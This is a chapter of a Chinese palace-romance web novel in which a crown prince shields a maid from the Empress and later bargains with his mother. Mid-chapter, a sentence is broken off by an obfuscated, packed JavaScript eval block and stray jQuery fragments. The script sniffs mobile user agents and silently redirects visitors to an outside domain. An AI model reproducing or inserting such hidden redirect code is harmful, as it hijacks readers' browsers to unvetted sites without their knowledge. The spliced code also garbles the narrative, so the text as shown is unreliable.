默认冷灰
24号文字
方正启体

9. 不要离开

作者:林到纱蔽本书字数:K更新时间:
    太傅讲到“入险而脱,又不能谋”时,明悟来窗外传信,他忙起身装作头疼告病,太傅明显有些不悦,却依旧准了他。


    出了上书房他脚下越走越快,已经毫无储君威仪,上书房离母后的坤宁宫实在远了些!他开始慌了,昨晚故意在她房中留宿,这法子还是太过冲动,母后又不是相国寺的山匪,怎会配合他演英雄救美!


    “殿下留步。”身后传来张丞相苍老的声音。


    萧南风忙止了步,两人见礼,张丞相道:“敢问殿下,秋城之事,打算如何进言?”


    萧南风拱手道:“求世叔赐教。”


    张丞相连连客气,这才说道:“殿下可知,昨日禁军的两位统领,在青楼闹事,打死了人?”


    萧南风一惊,却未答话,张丞相继续说道:“如今已到了最紧要的关头,一动不如一静,其他诸事皆可放下,殿下可明白?”


    萧南风连声道谢,张丞相这才行礼离去。


    来不及多想,萧南风继续快步前行,满心的慌乱快要把他撕裂。


    未经通传径直闯进了坤宁宫。行至殿门外,便听到她的声音,外面的宫女们早已退的干净,想必为的便是让他亲眼看着,好长些教训。


    他透过窗户望去,那丫头跪在地上,头低着并看不到神色,但是声音却是恭敬平稳的,应是没受刑,她说:“回娘娘的话,殿下文韬武略,只有才貌双全的名门贵女才配侍奉在侧。婢子蠢钝,向来睡得沉,昨夜殿下宿在外间婢子并不知晓。想必是出宫时日久了,思念娘娘。昨夜之举,便与九年前“启”字多写一点一般,想得娘娘关怀,才偶有的稚子举动。”


    他挑了挑眉,果见母后神色温柔了许多,这丫头何时这般会哄人的。


    只是那温柔神色转瞬即逝,母后突然又满脸怒意的说道:“什么才貌双全!男子们却总爱那些胸无点墨的蠢钝之辈,比如当年那个贱人。”


    母后这般骂端妃,她自是不敢回话,想必一定吓坏了吧,他望着宁芊芊的背影,眼神越发怜惜,心中说道:别怕,孤马上就来救你。


    她却已然开口:“福泽万民乃是大善,情爱小事譬如烛火,岂配争辉。”


    这逢迎让母后愣住了片刻,过了一会儿哈哈大笑起来,他从未见过母后笑的这般欢愉,记忆中她是庄严的严厉的哀怨的,就连立储那日她笑的那般癫狂却仿佛也不如此刻高兴,他望着母后的笑脸,心里却有些微微的酸楚。


    便听到她又说道:“娘娘,肺主皮毛,您每天都似这般大笑,能排空肺腑浊气,有利凤体。”


    母后定了定飞扬的眼角,眼中寒光却一闪而过:“果然乖觉,怪道太子宠爱你!你好好侍奉殿下,将来做个侍妾,定不会亏待了你去。”


    他暗笑:这般试探,她可别傻傻的忙不迭的应承谢恩。


    却见她头猛的抬了起来,声音明显的慌了:“不敢不敢!奴婢粗鄙,怎配的上如此抬举。”


    他挑了挑眉,傻丫头如今也识得些心机了,只是这演的也太露痕迹了,乍一听倒不是她配不上,倒更像是瞧不上自己似的!


    母后却已说道:“既如此,饮下一碗避子汤便回去吧。”


    “避……子汤?”


    母后又笑道:“一团孩子气,你已及笄多年,东宫的嬷嬷也无人教你规矩么?”


    他突然意识到,这些年并未安排嬷嬷教导她,故而她对身为女子的一些……事务皆不知晓。


    母后方才这般说,便是要安排嬷嬷调教她了。


    “母后,儿子来给母后请安。”他朗声说道。


    跟母后彼此打完机锋,便将她带了回去,刚回殿中,他便将她揽入怀中,轻声说道:“绾绾,别怕。”


    她身子颤了一下,推开他说道:“你……你叫我什么?”


    他却又揽住她,将她抱的更紧:“绾绾,不要死,不要离开孤。”


    她不再挣扎,任由他抱着,他有一丝得意,什么绾儿,她幼时明明叫的是绾绾,什么绾绾听话,绾绾要回家,快来接绾绾,那时她日日对着殿里的物件聒噪饶舌。


    半晌,她伸手拍了拍他的后背,轻声说道:“以后别这么叫我了。”


    想是她害羞了!他趁机伸手抚上她的发,心想:就像这般听话就好,只要你听话,孤便一直宠着你。


    过了一会儿,他笑道:“你哄的母后这般开心,孤要赏你,说吧想要些什么?”


    她却好似被踩着尾巴一般,猛的侧开身:“能赏些什么?竟给些没用的,不是避子汤就好!”


    萧南风一怔,以为自己听错,忙问道:“你说什么?”


    她忙低下头,半晌叹道:“不必赏我,我说的根本无用,左右她还是要气恼的,本是耀眼之人,却要跟人分一碗残羹,怎会不恼?”


    他闻言大惊道:“谁教你的这些浑话,你可知女子善妒是大罪!”


    她却说道:“殿下说的对,奴婢记下了。”


    他望着她的侧脸,却有了一丝恼怒:“你这副表情,哪里是懂事的模样!”


    她已跪的顺畅:“奴婢鲁钝。”


    他却握紧她的腕子,猛的将她提了起来,她惊了,满眼的诧异。望着她不明所以的表情,他却一时不知如何说,只得无理取闹:“你敢哄骗孤!没规矩!”


    她皱眉跪地道:“奴婢该死。”脸上却忍着一丝不耐烦。


    他想拂袖而去,可是依旧强行按下怒火,转身回到桌案前坐下,将桌上这三个月整理的伐秋城策,尽数付之一炬,然后道:“研墨!”


    再次写好奏章时,天色已经很晚,萧南风抬眸,却见宁芊芊边研墨,便望向一旁——小猫正踞在青玉笔山上打盹,毛球蜷着一团月光似的。


    她果然满眼的欢喜,萧南风顺势就将猫儿递进她怀中,静静的看着她们一人一猫玩儿的开心。


    萧南风又说道:“这是太宗御猫的后裔,血统尊贵品相又好,岂不胜过你那阿花许多。”萧南风暗想,阿花跑便跑了,可别伤心了。


    宁芊芊闻言,径直将奶猫扒拉到地上,说道:“原是这般尊贵,奴婢卑贱,只识得山野老虎。”


    萧南风一愣,接不上话来,暗想:若是真给你弄了大老虎来,怕是定要吓得哭了。


    她不再搭理那只奶猫,朝书桌走了过来,提起桌案上的双鱼佩,说道:“殿下又得了好物。”


    他笑了一下:“这是张丞相家嫡女赠予孤的,你若喜欢,我命人去寻些成色更好的来。”


    她放下双鱼佩,指着腰牌说道:“不必,奴婢已有此物。”


    他笑道:“这是上好的暖玉,宫婢的铜制腰牌岂能与之相较。”


    她点了点头道:“是,奴婢妄言。”说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731232|174026||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    罢走出门去。


    望着她离去的背影,萧南风总觉得好似有凉风吹过。


    房中的龙脑香突然变得刺鼻,他盯着鎏金香炉,母后送来的安神香,连香匙都刻着象征尊贵身份的凤纹。


    织金的袖口缠着腕子。六岁那年的记忆随烟雾升起——母后冷硬的青金石手串划过香案,捏着他手腕称量香料,"多一厘都不成"。香雾甜腻的气味,贴在脖上甚是恼人。


    母后总是爱做这些无用之事——微笑时唇角的弧度、请安时音调的高低、行走时步伐的大小、就连表现母子情深时拥抱的姿势都是一分一厘精心调配。


    坤宁宫的一切都似母后这个人一般,一分不差却又总透着枉然,他早已不似儿时那般期盼着她的亲近,可是每每想起她,还是会有些叹息。


    窗边的银铃响了,他猛地想起了那句——“有花纹的石头才好看呢。”那娇气稚嫩的嗓音,就如她挂在窗边的那串银铃一样好听。


    他抬步出了书房,银铃的声响远了,他继续走向前方的冷峻。


    再次到了坤宁宫。


    “母后可否放过那丫头。”他轻轻说道。


    “这是你身为储君当行之事吗?”她声音虽轻却极冷。


    他抬眸望向母后,说道:“儿子这些年日夜小心,生恐被人算计了去,唯有这一星欢愉,能解忧心,求母后疼疼儿子,放过她。”


    母后依旧冷着脸,他又说道:“儿子昨夜难眠,唯有听着她的气息,好似怀中窝着一团猫儿,如此方能入眠。不过母后放心,时机未到,儿子定不会逾矩。”


    “你倒说说,何为时机!”她已然大怒。


    他笑道:“自然是张小姐诞下嫡子后。”


    闻言母后表情怔怔的,似有哀怨,他猜大抵是想到了端妃的那一双儿女吧。


    他曾经问过宫中老人,因为母后苛待端妃,父皇登基五年都未与她共寝,自己这个嫡子,便是父皇为了安抚舅父,不得已与母后一夜委屈而得来的。所以,中宫最晚有孕,嫡子最为年幼,母后顶着黯淡的凤冠日日打理六宫事宜。父皇宽仁惠泽万民,却唯独对她无一丝柔情。


    他不禁又想到了绾绾,她总觉得宫中是他的家,其实她错了,宫中只是萧楚溪他们的家,而他的家便是之后带她出宫分府。


    不知是不是滴漏的声音,唤回了母后的思绪,她再次看向他时,眼中已没了气势,她问:“那她说故意犯错可有此事?”


    他一愣,母后莫不是想感受下母子情深?他心底自嘲了一下,有些不忍却依旧狠心说道:“自然不会,她总爱把事情想的那般……痴。”


    见母后神情好似碎了一般,他又掏出怀中母族的令牌,继续说道:“上次出宫见了嬷嬷,多谢母后留她一命。舅父他们行事,儿臣自会照应,母后不必担心。”


    母后的手已然收紧,他见状拉起了衣袖,左臂上曾经狰狞的划痕,幸得舅父遍寻名医,如今只剩淡淡的粉色痕迹。


    看到母后的肩膀彻底垂下,他这才放心的转身离开。


    当年回到殿中,得知嬷嬷被拖走,他砸碎了殿中青瓷花瓶,握着碎片冲到母后面前。当鲜血滑落的那一刻,疼痛让他记得,他要惊才绝艳、他要步步为营、他要统御人心,只有这样,他才不用再次面对失去。


    如今,世间珍宝万千,而他只此一件。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)